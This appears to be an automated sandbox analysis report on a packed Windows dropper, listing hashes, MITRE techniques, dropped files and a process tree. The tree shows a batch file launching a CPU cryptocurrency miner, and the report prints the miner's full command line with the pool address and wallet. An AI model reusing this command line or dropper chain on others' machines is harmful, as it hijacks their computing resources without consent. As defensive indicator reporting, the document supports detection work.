73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 03:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
4320	b2e.exe
536	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
536	cpuminer-sse2.exe
536	cpuminer-sse2.exe
536	cpuminer-sse2.exe
536	cpuminer-sse2.exe
536	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2492-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 4320	2492	batexe.exe	84
PID 2492 wrote to memory of 4320	2492	batexe.exe	84
PID 2492 wrote to memory of 4320	2492	batexe.exe	84
PID 4320 wrote to memory of 4060	4320	b2e.exe	85
PID 4320 wrote to memory of 4060	4320	b2e.exe	85
PID 4320 wrote to memory of 4060	4320	b2e.exe	85
PID 4060 wrote to memory of 536	4060	cmd.exe	88
PID 4060 wrote to memory of 536	4060	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Users\Admin\AppData\Local\Temp\6438.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6438.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6438.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6736.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4060
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6438.tmp\b2e.exe

Filesize
16.4MB

MD5
1e1c0243624736b6fba7800c50a5ff1d

SHA1
982d79ff432cf0b0a24b6247fa5c3255310a189a

SHA256
eeb52692fa9af1ad1ef41d9616a99536cde25d8edce42706ca0d62b08a5f69d6

SHA512
eddbf7b8182f2de623fde07a6f891cc1ced789f7e428dcd424fe5b8d8a6ff220ae3025fbf07c733c065b1801dfd0112367ee6ea0c7ce1b91e941434989e2d8f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\6438.tmp\b2e.exe

Filesize
11.0MB

MD5
845694e545a1572050a6c1707bc8c198

SHA1
da59e279d227b090d3e22c6b1ff25e220269dc28

SHA256
a76fd3cbdaeac8fd43ebb36bad24ad9e2b4ea34b391d426c0b925af2c381db81

SHA512
47213d52b097816e420506b9d535686f23a1d4247e6370f1d6c63ad2e64314f4720f7ef13b2b6bdbb73df04535325a2ff07cf936ed8961efbe359ff99ac04383

Download Submit
C:\Users\Admin\AppData\Local\Temp\6438.tmp\b2e.exe

Filesize
10.9MB

MD5
b62f8a73a8562e9648fc479861b112b1

SHA1
a8cad4a7cfd164640187856e6544aa62bdf84800

SHA256
e59bc27868db3f5cb4c1d544c5b4d735ecefa2e86a519a59e7f2e717f2002036

SHA512
29daea388b95f6c60273762d4ba9646d5ad5f2b817f20a62bcccec03fa116f209da8ee2aa76c9ad79122a8804eb937d39148ba368756c506739cc03ca77a8858

Download Submit
C:\Users\Admin\AppData\Local\Temp\6736.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.4MB

MD5
43022fb8cecacd6f3ae4e6c1a0b6623c

SHA1
c66d0954eb01df63a09e258d7fec2b01b474f84a

SHA256
8648b9d321415ad604f3af9639032de8f667470465c6ab3d17d6ec89f2cfc475

SHA512
01467d662a226c5acb4f3ec56de38b433c157911b2a37a64f1ea9ed8bcd737b8e6a4e3e6e79cba0e75035605c0f78628424acf78544fb7d5b303d5f63147f7f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.0MB

MD5
e2818f952eaed18205bcb3ba3bf1603d

SHA1
178dc2625ce345f115a05c9e0ffe87763039618a

SHA256
7a3732645ffd3ac6dab7abc45a9d5597e1405192e9c69a81308fc574f5f263d3

SHA512
80f399aeecbd605baa765ef5dc2bcf3700c76e5a3ae887b29636e3e56b49e9a7f698676d70fbacff1097a42bd55f4af043e5a3a6e3f91faf310eb9ccc229b1ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.6MB

MD5
d9118836023bc1b91ee88b72b32f53df

SHA1
bd6c43eff515851a63abe4e7a7372e0b8225298b

SHA256
89a9eff56a6e9fd2b2902705ad7e1a8b48ca18b6f6f80fb1e2635f6afade31bc

SHA512
6137a905bf6d77324e01b87f213539f9abf5d6ac10e7e494a5a84f3df1f9c2528c242e647de1ee419834c16e37ae77bec4a2c5f098cb60826456ff5048a1e290

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/536-46-0x00000000598A0000-0x0000000059938000-memory.dmp

Filesize
608KB

Download
memory/536-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/536-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/536-47-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/536-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2492-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4320-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4320-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download